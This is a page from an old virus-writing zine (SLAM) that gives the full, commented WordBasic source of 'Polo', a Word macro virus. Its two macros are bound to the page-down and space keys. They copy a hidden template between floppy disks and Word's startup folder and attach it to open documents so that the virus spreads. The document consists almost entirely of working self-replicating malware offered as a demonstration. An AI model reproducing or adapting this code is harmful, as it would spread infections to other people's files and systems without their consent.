Copy Link
Add to Bookmark
Report
SLAM2.009: Special Demonstration Virus >Polo< by VB
[ WordMacro. Polo ]-----------------------------------------------------------
˛ VIRUSNAME: Polo
˛ SIZE: 328 Byte
˛ ORIGIN: Germany
˛ AUTHOR: Virtual Boy
Macroname: a (shortcut=[page-down])
~~~~~~~~~~~~~~~~~~~
Sub MAIN()
'scroll page down if able to
If PageDown() Then PageDown Else Beep
'the template, which will be loaded if you read a infected file from disk
a$ = "a:\a.dot"
'there Word will load up the template every start for the whole session
b$ = DefaultDir$(8) + "\a.dot"
|_______________startup-path
'if a.dot does not exist in startup-path
If Files$(b$) = "" Then
'then copy it from disk to the startup-path
CopyFile a$, b$
End If
End Sub
Macroname: b (shortcut=[space])
~~~~~~~~~~~~~~~~~~~
Sub MAIN()
'no warning if an error occurs
On Error Resume Next
'there an error occurs if no window is present for example
Insert " "
'the destination-file
a$ = "a:\a.dot"
'active template
b$ = DefaultDir$(8) + "\a.dot"
'if able to get docvar (otherwise there's no document)
On Error Goto c
'and if filename begins with "a" or "b" (to be sure that the doc is on disk)
'and if there was no try to infect further (documentvar "a" will be set)
If Files$(b$) <> "" And Asc(Left$(DefaultDir$(14), 1)) < 99 And GetDocumentVar$("a") = "" Then
'this is needed because word is going to put a message on screen if it has
'already opened the file
On Error Goto a
Open a$ For Output As 1
Close
'o.k., now copy a.dot from the startup-path onto the disk
CopyFile b$, a$
'hide the file on disk
SetAttr a$, 7
a:
'if the file now is present on disk
On Error Goto b
a = GetAttr(a$) <--- you cannot use files$() because it is hidden
'then connect it to the active document
FileTemplates .Template=a$
b:
'so there won't be more then one try to infect a document
SetDocumentVar "a", "a"
End If
c:
End Sub
-Virtual Boy